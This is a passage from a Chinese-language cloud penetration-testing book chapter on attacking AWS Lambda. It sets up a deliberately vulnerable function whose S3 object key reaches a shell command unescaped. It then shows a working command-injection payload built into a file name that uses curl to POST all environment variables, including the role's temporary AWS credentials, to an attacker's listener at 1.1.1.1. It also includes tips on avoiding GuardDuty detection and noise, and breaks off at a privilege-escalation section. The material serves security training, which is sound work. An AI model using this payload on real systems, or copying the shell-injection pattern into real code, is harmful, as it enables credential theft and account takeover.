AWS Lambda 是一个令人惊叹的服务,为用户提供无服务器函数和应用程序。基本上,您创建一个带有要执行的代码的 Lambda 函数,然后创建某种触发器,每当触发该触发器时,您的 Lambda 函数将执行。用户只需支付 Lambda 函数运行所需的时间,最长为 15 分钟(但可以根据每个函数的需要手动降低)。Lambda 提供了多种编程语言供您的函数使用,甚至允许您设置自己的运行时以使用它尚不直接支持的语言。在我们深入研究所有这些之前,我们应该澄清无服务器是什么。尽管无服务器听起来好像没有涉及服务器,但 Lambda 基本上只是为函数需要运行的持续时间启动一个隔离的服务器。因此,仍然涉及服务器,但作为用户,您不需要处理服务器的规划、加固等。
对攻击者来说,这意味着我们仍然可以执行代码,使用文件系统,并执行大多数您可以在常规服务器上执行的其他活动,但有一些注意事项。其中之一是整个文件系统被挂载为只读,这意味着您无法直接修改系统上的任何内容,除了/tmp目录。/tmp目录是提供给 Lambda 函数在执行过程中根据需要写入文件的临时位置。另一个是您无法在这些服务器上获得 root 权限。简单明了,您只需接受您将永远成为 Lambda 函数中的低级用户。如果您确实找到了提升为 root 用户的方法,我相信 AWS 安全团队的人会很乐意听到这个消息。
在现实世界中,您可能会使用 Lambda 的一个示例场景是对上传到特定 S3 存储桶的任何文件进行病毒扫描。每次上传文件到该存储桶时,Lambda 函数将被触发,并传递上传事件的详细信息。然后,函数可能会将该文件下载到/tmp目录,然后使用 ClamAV(www.clamav.net/)之类的工具对其进行病毒扫描。如果扫描通过,执行将完成。如果扫描标记文件为病毒,它可能会删除 S3 中相应的对象。
在本章中,我们将涵盖以下主题:
-
设置一个易受攻击的 Lambda 函数
-
使用读取访问攻击 Lambda 函数
-
使用读写访问攻击 Lamda 函数
-
转向虚拟私有云
设置一个易受攻击的 Lambda 函数
S3 中用于病毒扫描文件的 Lambda 函数的先前示例与我们将在自己的环境中设置的类似,但更复杂。我们指定的 S3 存储桶上传文件时,我们的函数将被触发,然后下载该文件,检查内容,然后根据发现的内容在 S3 对象上放置标签。这个函数将有一些编程错误,使其容易受到利用,以便进行演示,所以不要在生产账户中运行这个函数!
在我们开始创建 Lambda 函数之前,让我们首先设置将触发我们函数的 S3 存储桶和我们函数将承担的 IAM 角色。导航到 S3 仪表板(单击服务下拉菜单并搜索 S3),然后单击“创建存储桶”按钮:
S3 仪表板上的“创建存储桶”按钮
现在,给您的存储桶一个唯一的名称;我们将使用 bucket-for-lambda-pentesting,但您可能需要选择其他内容。对于地区,我们选择美国西部(俄勒冈州),也称为 us-west-2。然后,单击“下一步”,然后再次单击“下一步”,然后再次单击“下一步”。将这些页面上的所有内容保留为默认设置。现在,您应该看到您的 S3 存储桶的摘要。单击“创建存储桶”以创建它:
单击的最终按钮以创建您的 S3 存储桶
现在,在您的存储桶列表中显示存储桶名称时,单击该名称,这将完成我们的 Lambda 函数的 S3 存储桶设置(暂时)。
在浏览器中保留该选项卡打开,并在另一个选项卡中打开 IAM 仪表板(服务| IAM)。在屏幕左侧的列表中单击“角色”,然后单击左上角的“创建角色”按钮。在选择受信任实体类型下,选择 AWS 服务,这应该是默认值。然后,在“选择将使用此角色的服务”下,选择 Lambda,然后单击“下一步:权限”:
为我们的 Lambda 函数创建一个新角色
在此页面上,搜索 AWS 托管策略AWSLambdaBasicExecutionRole,并单击其旁边的复选框。此策略将允许我们的 Lambda 函数将执行日志推送到 CloudWatch,并且从某种意义上说,这是 Lambda 函数应该提供的最低权限集。可以撤销这些权限,但是 Lambda 函数将继续尝试写日志,并且将继续收到访问被拒绝的响应,这对于观察的人来说会很嘈杂。
现在,搜索 AWS 托管策略AmazonS3FullAccess,并单击其旁边的复选框。这将使我们的 Lambda 函数能够与 S3 服务进行交互。请注意,对于我们的 Lambda 函数用例来说,此策略过于宽松,因为它允许对任何 S3 资源进行完全的 S3 访问,而从技术上讲,我们只需要对我们的单个 bucket-for-lambda-pentesting S3 存储桶进行少量的 S3 权限。通常,您会发现在攻击的 AWS 帐户中存在过度授权的资源,这对于您作为攻击者来说没有任何好处,因此这将成为我们演示场景的一部分。
现在,单击屏幕右下角的“下一步:标记”按钮。我们不需要向此角色添加任何标记,因为这些通常用于我们现在需要担心的其他原因,所以只需单击“下一步:立即审阅”。现在,为您的角色创建一个名称;对于此演示,我们将其命名为LambdaRoleForVulnerableFunction,并且我们将保留角色描述为默认值,但如果您愿意,可以在其中编写自己的描述。现在,通过单击屏幕右下角的“创建角色”来完成此部分。如果一切顺利,您应该会在屏幕顶部看到成功消息:
我们的 IAM 角色已成功创建
最后,我们可以开始创建实际的易受攻击的 Lambda 函数。要这样做,请转到 Lambda 仪表板(服务| Lambda),然后单击“创建函数”,这应该出现在欢迎页面上(因为可能您还没有创建任何函数)。请注意,这仍然位于美国西部(俄勒冈州)/ us-west-2 地区,就像我们的 S3 存储桶一样。
然后,在顶部选择从头开始。现在,为您的函数命名。对于此演示,我们将其命名为VulnerableFunction。接下来,我们需要选择我们的运行时,可以是各种不同的编程语言。对于此演示,我们将选择 Python 3.7 作为我们的运行时。
对于角色选项,请选择选择现有角色,然后在现有角色选项下,选择我们刚刚创建的角色(LambdaRoleForVulnerableFunction)。最后,单击右下角的“创建函数”:
我们新的易受攻击的 Lambda 函数设置的所有选项
现在,您应该进入新易受攻击函数的仪表板,该仪表板可让您查看和配置 Lambda 函数的各种设置。
目前,我们可以暂时忽略此页面上的大部分内容,但是如果您想了解有关 Lambda 本身的更多信息,我建议您阅读 AWS 用户指南:docs.aws.amazon.com/lambda/latest/dg/welcome.html。现在,向下滚动到“函数代码”部分。我们可以看到“处理程序”下的值是lambda_function.lambda_handler。这意味着当函数被调用时,lambda_function.py文件中名为lambda_handler的函数将作为 Lambda 函数的入口点执行。lambda_function.py文件应该已经打开,但如果没有,请在“函数代码”部分左侧的文件列表中双击它:
Lambda 函数处理程序及其引用的值
如果您选择了不同的编程语言作为函数的运行时,您可能会遇到略有不同的格式,但总体上它们应该是相似的。
现在我们已经有了 Lambda 函数、Lambda 函数的 IAM 角色和我们创建的 S3 存储桶,我们将在我们的 S3 存储桶上创建事件触发器,每次触发时都会调用我们的 Lambda 函数。要做到这一点,返回到您的 bucket-for-lambda-pentesting S3 存储桶所在的浏览器选项卡,单击“属性”选项卡,然后向下滚动到“高级设置”下的选项,单击“事件”按钮:
访问我们 S3 存储桶的事件设置
接下来,单击“添加通知”,并将此通知命名为LambdaTriggerOnS3Upload。在“事件”部分下,选中“所有对象创建事件”旁边的复选框,这对我们的需求已经足够了。对于此通知,我们将希望将“前缀”和“后缀”留空。单击“发送到”下拉菜单,并选择“Lambda 函数”,然后应该显示另一个下拉菜单,您可以在其中选择我们创建的函数VulnerableFunction。最后,单击“保存”:
我们想要的新通知配置
单击“保存”后,事件按钮应显示 1 个活动通知:
我们刚刚设置的通知。
如果您返回到 Lambda 函数仪表板并刷新页面,您应该看到 S3 已被添加为左侧“设计”部分中我们 Lambda 函数的触发器:
Lambda 函数知道它将被我们刚刚设置的通知触发
基本上,我们刚刚告诉我们的 S3 存储桶,每当创建一个对象(/uploaded/等),它都应该调用我们的 Lambda 函数。S3 将自动调用 Lambda 函数,并通过event参数传递与通过event参数传递的上传文件相关的详细信息,这是我们的函数接受的两个参数之一(event和context)。Lambda 函数可以通过在执行过程中查看event的内容来读取这些数据。
要完成我们易受攻击的 Lambda 函数的设置,我们需要向其中添加一些易受攻击的代码!在 Lambda 函数仪表板上,在“函数代码”下,用以下代码替换默认代码:
import boto3
import subprocess
import urllib
def lambda_handler(event, context):
s3 = boto3.client('s3')
for record in event['Records']:
try:
bucket_name = record['s3']['bucket']['name']
object_key = record['s3']['object']['key']
object_key = urllib.parse.unquote_plus(object_key)
if object_key[-4:] != '.zip':
print('Not a zip file, not tagging')
continue
response = s3.get_object(
Bucket=bucket_name,
Key=object_key
)
file_download_path = f'/tmp/{object_key.split("/")[-1]}'
with open(file_download_path, 'wb+') as file:
file.write(response['Body'].read())
file_count = subprocess.check_output(
f'zipinfo {file_download_path} | grep ^- | wc -l',
shell=True,
stderr=subprocess.STDOUT
).decode().rstrip()
s3.put_object_tagging(
Bucket=bucket_name,
Key=object_key,
Tagging={
'TagSet': [
{
'Key': 'NumOfFilesInZip',
'Value': file_count
}
]
}
)
except Exception as e:
print(f'Error on object {object_key} in bucket {bucket_name}: {e}')
return
当我们继续阅读本章时,我们将更深入地了解这个函数的运行情况。简单来说,每当文件上传到我们的 S3 存储桶时,这个函数就会被触发;它将确认文件是否具有.zip扩展名,然后将文件下载到/tmp目录中。下载完成后,它将使用zipinfo、grep和wc程序来计算 ZIP 文件中存储了多少文件。然后它将向 S3 中的对象添加一个标签,指定该 ZIP 文件中有多少个文件。你可能已经能够看到一些问题可能出现的地方,但我们稍后会讨论这些问题。
我们要做的最后一件事是下拉到 Lambda 仪表板的环境变量部分,并添加一个带有键app_secret和值1234567890的环境变量:
将 app_secret 环境变量添加到我们的函数中。
要完成本节,只需点击屏幕右上角的大橙色保存按钮,将此代码保存到您的 Lambda 函数中,我们就可以继续了。
使用只读访问攻击 Lambda 函数
要开始本章的只读访问部分,我们将创建一个具有特定权限集的新 IAM 用户。这是我们将用来演示攻击的用户,因此我们可以假设我们以某种方式刚刚窃取了这个用户的密钥。这些权限将允许对 AWS Lambda 进行只读访问,并允许向 S3 上传对象,但不会超出此范围。我们不会详细介绍创建用户、设置其权限并将其密钥添加到 AWS CLI 的整个过程,因为我们在之前的章节中已经涵盖了这些内容。
因此,请继续创建一个具有对 AWS 的编程访问权限的新 IAM 用户。对于这个演示,我们将命名该用户为LambdaReadOnlyTester。接下来,我们将添加一个自定义的内联 IAM 策略,使用以下 JSON 文档:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": [
"lambda:List*",
"lambda:Get*",
"s3:PutObject"
],
"Resource": "*"
}
]
}
正如你所看到的,我们可以使用任何以List或Get开头的 Lambda API,以及使用 S3 的PutObject API。这就像我在许多 AWS 环境中看到的情况,用户对各种资源具有广泛的读取权限,然后还有一些额外的 S3 权限,比如上传文件的能力。
在作为攻击者查看 AWS Lambda 时,首先要做的是获取账户中每个 Lambda 函数的所有相关数据。这可以通过 Lambda 的ListFunctions API 来完成。对于这个演示,我们已经知道我们想要攻击的函数在us-west-2,但在实际情况下,你可能想要检查每个区域是否有可能感兴趣的 Lambda 函数。我们将首先运行以下 AWS CLI 命令:
aws lambda list-functions --profile LambdaReadOnlyTester --region us-west-2
我们应该得到一些有用的信息。首先要查找的是环境变量。我们自己设置了这个有漏洞的函数,所以环境变量对我们来说并不是什么秘密,但作为攻击者,你经常可以发现存储在函数的环境变量中的敏感信息。这些信息在我们刚刚进行的ListFunctions调用中以"Environment"键的形式返回给我们,对于我们的有漏洞的函数,它应该看起来像这样:
"Environment": {
"Variables": {
"app_secret": "1234567890"
}
}
你可以指望在 Lambda 函数的环境变量中发现各种意想不到的东西。作为攻击者,"app_secret"的值听起来很有趣。在过去的渗透测试中,我在环境变量中发现了各种秘密,包括用户名/密码/第三方服务的 API 密钥,AWS API 密钥到完全不同的账户,以及更多。仅仅查看几个 Lambda 函数的环境变量就让我多次提升了自己的权限,因此重要的是要注意存储的内容。我们自己设置了这个有漏洞的函数,所以我们知道"app_secret"环境变量对我们来说没有什么用,但它被包含在其中是为了演示这个想法。
在运行 Lambda ListFunctions API 调用时,如果函数设置了环境变量,"Environment"键将只包括在结果中;否则,它不会显示在结果中,所以如果那里没有任何内容可用,不要担心。
在检查环境变量之后,现在是查看每个 Lambda 函数的代码的好时机。要从 AWS CLI 中执行此操作,我们可以使用从ListFunctions获得的函数列表,并将每个函数通过 Lambda GetFunction API 调用运行。对于我们的易受攻击函数,我们可以运行以下命令:
aws lambda get-function --function-name VulnerableFunction --profile LambdaReadOnlyTester --region us-west-2
输出将看起来像运行ListFunctions时为每个函数返回的内容,但有一个重要的区别,即添加了Code键。这个键将包括RepositoryType和Location键,这是我们将代码下载到这个函数的方式。我们只需要复制 Code | Location 下的 URL 并粘贴到我们的网络浏览器中。提供的 URL 是一个预签名的 URL,它给了我们访问存储 Lambda 代码的 S3 存储桶的权限。访问页面后,它应该会下载一个以VulnerableFunction开头的.zip文件。
如果您解压文件,您会看到一个名为lambda_function.py的单个文件,其中存储了 Lambda 函数的代码。在许多情况下,那里会有多个文件,如第三方库、配置文件或二进制文件。
尽管我们的易受攻击函数相对较短,但我们将以它是大量代码的方式来处理,因为我们不能仅仅手动快速分析来模拟真实情况,因为您可能不熟悉 Lambda 函数使用的编程语言。
将函数解压到我们的计算机上后,我们现在将开始对包含的代码进行静态分析。我们知道这个函数正在运行 Python 3.7,因为当我们运行ListFunctions和GetFunction时,Runtime下列出了 Python 3.7,并且主文件是一个.py文件。代码的静态分析有许多选项,免费和付费的,它们在不同的编程语言之间有所不同,但我们将使用Bandit,它被描述为一个旨在发现 Python 代码中常见安全问题的工具。在继续之前,请注意,仅仅因为我们在这里使用它,并不一定意味着它是最好的和/或完美的。我建议您进行自己的研究,并尝试不同的工具,找到自己喜欢的工具,但 Bandit 是我个人喜欢使用的工具之一。Bandit 托管在 GitHub 上github.com/PyCQA/bandit。
Bandit 的安装很简单,因为它是通过 PyPI 提供的,这意味着我们可以使用 Python 包管理器pip来安装它。按照 Bandit GitHub 上的说明,我们将运行以下命令(一定要自行检查,以防有任何更新):
virtualenv bandit-env
pip3 install bandit
我们使用virtualenv,以避免安装 Python 依赖项时出现任何问题,然后我们使用pip3来安装bandit,因为我们要分析的代码是用 Python 3 编写的。在撰写本文时,安装了 Bandit 版本 1.5.1,因此如果在本节的其余部分遇到任何问题,请注意您自己安装的版本。安装完成后,我们可以切换到解压 Lambda 函数的目录,然后使用bandit命令来针对包含我们代码的文件夹。我们可以使用以下命令来执行:
bandit -r ./VulnerableFunction/
现在 Lambda 函数将被扫描,-r标志指定递归,即扫描VulnerableFunction文件夹中的每个文件。我们现在只有一个文件,但了解这个标志对我们正在扫描的更大的 Lambda 函数有什么作用是很有用的。Bandit 完成后,我们将看到它报告了三个单独的问题:一个低严重性和高置信度,一个中等严重性和中等置信度,一个高严重性和高置信度:
Bandit 输出的结果
通常,静态源代码分析工具会输出相当数量的误报,因此重要的是要逐个检查每个问题,以验证它是否是一个真正的问题。静态分析工具也缺乏代码可能如何使用的上下文,因此安全问题可能对某些代码是一个问题,但对其他代码来说并不重要。在审查 Bandit 提出的第二个问题时,我们将更多地关注上下文。
查看 Bandit 报告的第一个问题,我们可以看到消息“考虑与子进程模块相关的可能安全影响”,这是非常有道理的。子进程模块用于在计算机上生成新进程,如果操作不正确可能会造成安全风险。我们将把这标记为一个有效问题,但在审查代码时要牢记这一点。
Bandit 报告的第二个问题告诉我们“可能不安全地使用了临时文件/目录”,并向我们显示了代码的行,其中一个变量被赋予了/tmp目录中文件路径的值,附加了另一个变量object_key。这是一个安全问题,在某些应用程序中可能是一个大问题,但考虑到我们 Lambda 函数的上下文,我们可以假设在这种情况下这不是一个问题。为什么?安全风险的一部分是可能有用户能够控制文件路径。用户可能会插入路径遍历序列或者欺骗脚本将临时文件写入其他位置,比如/etc/shadow,这可能会带来危险的后果。这对我们来说不是一个问题,因为代码在 Lambda 中运行,这意味着它在只读文件系统上运行;所以,即使有人能够遍历出/tmp目录,函数也无法覆盖系统上的任何重要文件。这里可能会出现其他可能的问题,但对我们来说没有直接适用的,所以我们可以把这个问题划掉为误报。
接下来是 Bandit 提出的最后一个最严重的问题,它告诉我们“识别出了使用 shell=True 的子进程调用,存在安全问题”,听起来很有趣。这告诉我们正在生成一个新进程,并且可以访问操作系统的 shell,这可能意味着我们可以注入 shell 命令!看看 Bandit 标记的行(第 30 行),我们甚至可以看到一个 Python 变量(file_download_path)直接连接到正在运行的命令中。这意味着如果我们可以以某种方式控制该值,我们可以修改在操作系统上运行的命令以执行任意代码。
接下来,我们想看看file_download_path在哪里被赋值。我们知道它的赋值出现在 Bandit 的问题#2(第 25 行),代码如下:
file_download_path = f'/tmp/{object_key.split("/")[-1]}'
就像第 30 行的字符串一样,这里使用了 Python 3 的f字符串(有关更多信息,请参见docs.python.org/3/whatsnew/3.6.html#pep-498-formatted-string-literals),它基本上允许您在字符串中嵌入变量和代码,因此您不必进行任何混乱的连接,使用加号或其他任何东西。我们在这里看到的是file_download_path是一个字符串,其中包含代码中的另一个变量object_key,它在其中的每个"/"处被拆分。然后,[-1]表示使用从"/"拆分而成的列表的最后一个元素。
现在,如果我们追溯object_key变量,看看它是在哪里被赋值的,我们可以看到在第 13 行,它被赋值为record['s3']['object']['key']的值。好的,我们可以看到函数期望event变量包含有关 S3 对象的信息(以及第 11 行的 S3 存储桶)。我们想弄清楚是否可以以某种方式控制该变量的值,但考虑到我们作为攻击者的上下文,我们不知道这个函数是否会定期被调用,也不知道如何调用。我们可以检查的第一件事是我们的 Lambda 函数是否有任何事件源映射。可以使用以下命令来完成这个任务:
aws lambda list-event-source-mappings --function-name VulnerableFunction --profile LambdaReadOnlyTester --region us-west-2
在这种情况下,我们应该得到一个空列表,如下所示:
{
“EventSourceMappings”: []
}
事件源映射基本上是将 Lambda 函数连接到另一个服务的一种方式,以便在该服务中发生其他事情时触发它。事件源映射的一个示例是 DynamoDB,每当 DynamoDB 表中的项目被修改时,它就会触发一个 Lambda 函数,并包含被添加到表中的内容。正如您所看到的,我们当前的函数没有与此相关的内容,但现在不是恐慌的时候!并非每个自动触发源都会显示为事件源映射。
下一步将是查看 Lambda 函数的资源策略,它基本上指定了谁可以调用此函数。要获取资源策略,我们将使用GetPolicy API:
aws lambda get-policy --function-name VulnerableFunction --profile LambdaReadOnlyTester --region us-west-2
如果我们幸运的话,我们将得到一个 JSON 对象作为对此 API 调用的响应,但如果没有,我们可能会收到 API 错误,指示找不到资源。这将表明没有为 Lambda 函数设置资源策略。如果是这种情况,那么我们可能无法以任何方式调用此 Lambda 函数,除非我们碰巧拥有lambda:InvokeFunction权限(但在这种情况下我们没有)。
今天一定是我们的幸运日,因为我们得到了一个策略。它应该看起来像下面这样,只是000000000000将被您自己的 AWS 帐户 ID 替换,修订 ID 将不同:
{
"Policy": "{\"Version\":\"2012-10-17\",\"Id\":\"default\",\"Statement\":[{\"Sid\":\"000000000000_event_permissions_for_LambdaTriggerOnS3Upload_from_bucket-for-lambda-pentesting_for_Vul\",\"Effect\":\"Allow\",\"Principal\":{\"Service\":\"s3.amazonaws.com\"},\"Action\":\"lambda:InvokeFunction\",\"Resource\":\"arn:aws:lambda:us-west-2:000000000000:function:VulnerableFunction\",\"Condition\":{\"StringEquals\":{\"AWS:SourceAccount\":\"000000000000\"},\"ArnLike\":{\"AWS:SourceArn\":\"arn:aws:s3:::bucket-for-lambda-pentesting\"}}}]}",
"RevisionId": "d1e76306-4r3a-411c-b8cz-6x4731qa7f00"
}
混乱且难以阅读,对吧?这是因为一个 JSON 对象被存储为一个字符串,作为另一个 JSON 对象中一个键的值。为了使这一点更清晰,我们可以复制"Policy"键内的整个值,删除转义字符(\),并添加一些漂亮的缩进,然后我们将得到这样的结果:
{
"Version": "2012-10-17",
"Id": "default",
"Statement": [
{
"Sid": "000000000000_event_permissions_for_LambdaTriggerOnS3Upload_from_bucket-for-lambda-pentesting_for_Vul",
"Effect": "Allow",
"Principal": {
"Service": "s3.amazonaws.com"
},
"Action": "lambda:InvokeFunction",
"Resource": "arn:aws:lambda:us-west-2:000000000000:function:VulnerableFunction",
"Condition": {
"StringEquals": {
"AWS:SourceAccount": "000000000000"
},
"ArnLike": {
"AWS:SourceArn": "arn:aws:s3:::bucket-for-lambda-pentesting"
}
}
}
]
}
看起来好多了,不是吗?我们正在查看一个 JSON 策略文档,指定了什么可以调用这个 Lambda 函数,我们可以看到"Action"设置为"lambda:InvokeFunction"。接下来,我们可以看到"Principal"设置为 AWS 服务 S3。这听起来正确,因为我们知道该函数正在处理 S3 对象。在"Resource"下,我们看到了 Lambda 函数的 ARN,正如预期的那样。在"Condition"下,我们看到"AWS:SourceAccount"必须是000000000000,这是我们正在使用的账户 ID,所以很好。在"Condition"下还有"ArnLike",显示了一个 S3 存储桶的 ARN。我们没有所需的 S3 权限去确认这些信息,但我们可以合理地假设某种 S3 事件已经设置好,当发生某些事情时会调用这个函数(我们知道这是真的,因为我们之前设置过)。
另一个重要的提示可以在"Sid"键中找到,我们可以看到值为"000000000000_event_permissions_for_LambdaTriggerOnS3Upload_from_bucket-for-lambda-pentesting_for_Vul",这显示了"LambdaTriggerOnS3Upload"。现在我们可以做出一个合理的猜测,即当文件上传到 S3 存储桶"bucket-for-lambda-pentesting"时,将调用这个 Lambda 函数。如果你还记得我们设置这些资源时,"LambdaTriggerOnS3Upload"就是我们之前添加到 S3 存储桶的事件触发器的名称,所以在这种情况下,冗长的命名方案帮助了我们作为攻击者。更好的是,我们知道我们的受损用户被授予了"s3:PutObject"权限!
现在我们已经拼出了这个谜题的所有部分。我们知道 Lambda 函数运行一个带有变量(file_download_path)的 shell 命令,我们知道该变量由另一个变量(object_key)组成,我们知道该变量被设置为值record['s3']['object']['key']。我们还知道,每当文件上传到"bucket-for-lambda-pentesting" S3 存储桶时,就会调用这个 Lambda 函数,而且我们有必要的权限将文件上传到该存储桶。鉴于这一切,这意味着我们可以上传一个我们选择的文件,最终将其传递到一个 shell 命令中,这正是我们想要的,如果我们试图在系统上执行代码!
但是,等等;在运行 Lambda 函数的服务器上执行任意代码有什么好处呢?它是一个只读文件系统,而且我们已经有了源代码。更多的凭证,这就是好处!如果你还记得之前,我们需要创建一个 IAM 角色,附加到我们创建的 Lambda 函数上,然后允许我们的函数与 AWS API 进行身份验证。当 Lambda 函数运行时,它会假定附加到它的 IAM 角色,并获得一组临时凭证(记住,这是访问密钥 ID、秘密访问密钥和会话令牌)。Lambda 函数与 EC2 实例有些不同,这意味着没有http://169.254.169.254上的元数据服务,这意味着我们无法通过那里检索这些临时凭证。Lambda 的做法不同;它将凭证存储在环境变量中,所以一旦我们能在服务器上执行代码,我们就可以窃取这些凭证,然后我们将获得附加到 Lambda 函数的角色的所有权限。
在这种情况下,我们知道 LambdaRoleForVulnerableFunction IAM 角色具有完全的 S3 访问权限,这比我们微不足道的PutObject访问权限要多得多,它还具有一些 CloudWatch 日志权限。我们目前无法访问 CloudWatch 中的日志,所以我们需要将凭证窃取到我们控制的服务器上。否则,我们将无法读取这些值。
现在,让我们开始我们的有效载荷。有时,如果您将整个 Lambda 函数复制到自己的 AWS 帐户中,可能会有所帮助,这样您就可以使用有效载荷对其进行轰炸,直到找到有效的有效载荷,但我们将首先手动尝试。我们知道我们基本上控制object_key变量,最终将其放入 shell 命令中。因此,如果我们传入一个无害的值"hello.zip",我们将看到以下内容:
Line 13: object_key is assigned the value of "hello.zip"
Line 14: object_key is URL decoded by urllib.parse.unquote_plus (Note: the reason this line is in the code is because the file name comes in with special characters URL encoded, so those need to be decoded to work with the S3 object directly)
Line 25: file_download_path is assigned the value of f'/tmp/{object_key.split("/")[-1]}', which ultimately resolves to "/tmp/hello.zip"
Lines 29-30: A shell command is run with the input f'zipinfo {file_download_path} | grep ^- | wc -l', which resolves to "zipinfo /tmp/hello.zip | grep ^- | wc -l".
似乎只有一个限制需要我们担心,那就是代码检查文件是否在第 16 行具有.zip扩展名。有了所有这些信息,我们现在可以开始制作恶意有效载荷。
zipinfo /tmp/hello.zip命令中直接包含了我们提供的字符串,因此我们只需要打破这个命令以运行我们自己的任意命令。如果我们将hello.zip更改为hello;sleep 5;.zip,那么最终命令将变成"zipinfo /tmp/hello;sleep 5;.zip | grep ^- | wc -l"。我们插入了几个分号,这会导致 shell 解释器(bash)认为有多个要执行的命令。不是运行单个命令zipinfo /tmp/hello.zip,而是运行"zipinfo /tmp/hello",这将失败,因为那不是一个存在的文件;然后,它将运行"sleep 5"并休眠五秒,然后它将运行".zip",这不是一个真正的命令,因此将抛出错误。
就像这样,我们已经将一个命令(sleep 5)注入到 Lambda 服务器的 shell 中。现在,因为这是盲目的(也就是说,我们看不到任何命令的输出),我们需要窃取我们想要的重要信息。支持 Lambda 函数的操作系统默认安装了"curl",因此这将是进行外部请求的一种简单方法,我们知道 AWS 凭证存储在环境变量中,因此我们只需要curl凭证到我们控制的服务器。
为此,我在自己的服务器上设置了 NetCat 监听器(示例中的 IP 地址为1.1.1.1),端口为80,命令如下:
nc -nlvp 80
然后,我们将制定一个有效载荷,将窃取凭证。我们可以使用"env"命令访问环境变量,因此用 curl 向我们的外部服务器发出 HTTP POST 请求的一般命令,其中包括所有环境变量作为主体,如下所示:
curl -X POST -d "`env`" 1.1.1.1
这可能看起来有点奇怪,但因为"env"命令提供多行内容,所以需要将其放入引号中,否则它将破坏整个命令(尝试在自己的服务器上运行"curl -X POST -d env 1.1.1.1"并查看结果)。如果您不熟悉,反引号(`)指示 bash 在执行整个curl命令之前运行"env"命令,这样它就会将这些变量POST到我们的外部服务器。此外,因为我们的服务器正在侦听端口80,所以我们不需要在curl命令中包括http://或端口,因为给定一个IP地址,默认情况下转到http://1.1.1.1:80. 这样我们可以避免很多不必要的字符。这可能不一定是一种传统的方法,但这个字符串的好处在于它很容易放入文件名,这正是我们利用这个 Lambda 函数所需要的!
回到我们的有效载荷;现在,我们需要将一个文件上传到 S3,文件名称如下:
hello;curl -X POST -d "`env`" 1.1.1.1;.zip
由于其中有双引号,Microsoft Windows 不允许您创建具有这个名称的文件,但在 Linux 中很容易做到。我们可以使用touch命令来创建文件。它看起来像这样:
touch 'hello;curl -X POST -d "`env`" 1.1.1.1;.zip'
上述命令的输出将如下所示:
在我们自己的 Ubuntu 服务器上创建一个恶意名称的文件
现在一切都准备就绪了。我们只需确保我们的 NetCat 监听器已经在我们的外部服务器上启动,然后将此文件上传到 bucket-for-lambda-pentesting S3 存储桶,然后等待 Lambda 函数被调用,最后等待我们的恶意命令执行。我们可以通过使用 S3 copy AWS CLI 命令将我们的本地恶意文件复制到远程 S3 存储桶来上传它:
aws s3 cp ./'hello;curl -X POST -d "`env`" 1.1.1.1;.zip' s3://bucket-for-lambda-pentesting --profile LambdaReadOnlyTester
因为我们的恶意文件名,它看起来有点乱,但它所做的就是使用 S3 copy 命令作为LambdaReadOnlyTester AWS CLI 配置文件,将我们的本地恶意文件复制到bucket-for-lambda-pentesting S3 存储桶。执行此命令后,我们只需等待并观察我们的 NetCat 监听器,希望能获取一些凭据!几秒钟后,我们将看到以下内容:
来自 Lambda 服务器的所有环境变量都发送到我们的 NetCat 监听器
我们成功了!我们成功地通过一种有时被称为事件注入的方法,在运行 Lambda 函数的服务器上实现了代码执行,然后我们成功地将附加到该 Lambda 函数的角色的凭据外传到我们的外部服务器。现在,您可以将这些凭据用于您的 AWS CLI,并且继续前进并征服!
附加奖励:在撰写本文时,GuardDuty 的UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration 发现类型 (docs.aws.amazon.com/guardduty/latest/ug/guardduty_unauthorized.html#unauthorized11) 不适用于从 Lambda 服务器中获取的凭据!
最后要注意的一点是,我们利用了一种事件注入方法来利用这个 Lambda 函数,但还有很多其他类型。您可以通过各种方法触发 Lambda 函数调用,例如前面提到的 DynamoDB 示例,或者可能是通过 CloudWatch Events 规则。您只需找出如何将自己的输入传递给函数以控制执行。使这一切变得最简单、最快速的方法是使用自定义测试事件(如果您拥有"lambda:InvokeFunction"权限),因为您可以在事件中指定您需要的确切载荷。
在入侵测试 Lambda 函数(带有读取访问权限)时需要记住的其他事项包括以下内容:
-
检查与每个函数相关联的标签,查看是否包含敏感信息。这种可能性非常小,但并非不可能。
-
正如我们之前讨论的,考虑将整个函数复制到你自己的 AWS 账户中进行测试,这样你就不需要在目标环境中制造噪音。
-
如果你有 CloudWatch 日志访问权限,请查看每个 Lambda 函数的执行日志,看看是否打印了任何敏感信息(存储在
"/aws/lambda/<function name>"日志组中)。 -
你可以通过单击 AWS Web 控制台上的
"Actions"下拉菜单,然后单击"Export function",选择"Download deployment package",来下载整个 Lambda 函数的.zip文件。然后,将其简单地移植到你自己的账户中。 -
尝试设计你的负载,使它们按照你的意愿执行而不会中断函数的执行。Lambda 函数执行出错可能会引起一些不必要的注意!
-
在编写负载时,要注意函数的超时。默认情况下,函数在三秒后超时,所以你需要一些快速、简单的外泄方式。
攻击具有读取和写入权限的 Lambda 函数
现在我们已经讨论了在你只有对 Lambda 的读取权限时攻击 Lambda 函数的方法,接下来我们将继续讨论读取和写入权限。在这种情况下,我们假设你作为攻击者拥有"lambda:*"权限,这基本上意味着你可以读取和写入任何内容,包括编辑现有函数、创建自己的函数、删除函数等。这开启了一个全新的攻击面,特别适合许多不同类型的攻击,尤其是权限提升、数据外泄和持久性。
对于这一部分,我们不会设置一个新的易受攻击函数,而是只使用我们之前设置的一些示例。
权限提升
通过 Lambda 函数进行权限提升相对容易,这取决于你遇到的设置。我们将看两种不同的情景:一种是你拥有"lambda:*"权限和"iam:PassRole"权限,另一种是仅具有"lambda:*"权限。
首先,我们假设除了完全的 Lambda 访问权限外,我们还拥有"iam:PassRole"权限。我们还假设我们可以列出 IAM 角色,但仅此而已(iam:ListRoles)。在这种情况下,我们的目标不一定需要积极使用 Lambda,我们就可以提升我们的权限。因为我们拥有 IAM ListRoles 权限,我们可以运行以下 AWS CLI 命令来查看账户中存在哪些 IAM 角色(确保指定你正在使用的正确配置文件):
aws iam list-roles --profile LambdaReadWriteUser
你应该得到账户中每个角色及其"AssumeRolePolicyDocument"的列表。现在,我们可以通过这个列表筛选出 Lambda 可以承担的任何角色。以下是此响应中一个示例角色的样子(这是我们为我们的易受攻击函数创建的角色):
{
"Path": "/",
"RoleName": "LambdaRoleForVulnerableFunction",
"RoleId": "AROAIWA1V2TCA1TNPM9BL",
"Arn": "arn:aws:iam::000000000000:role/LambdaRoleForVulnerableFunction",
"CreateDate": "2018-12-19T21:01:17Z",
"AssumeRolePolicyDocument": {
"Version": "2012-10-17",
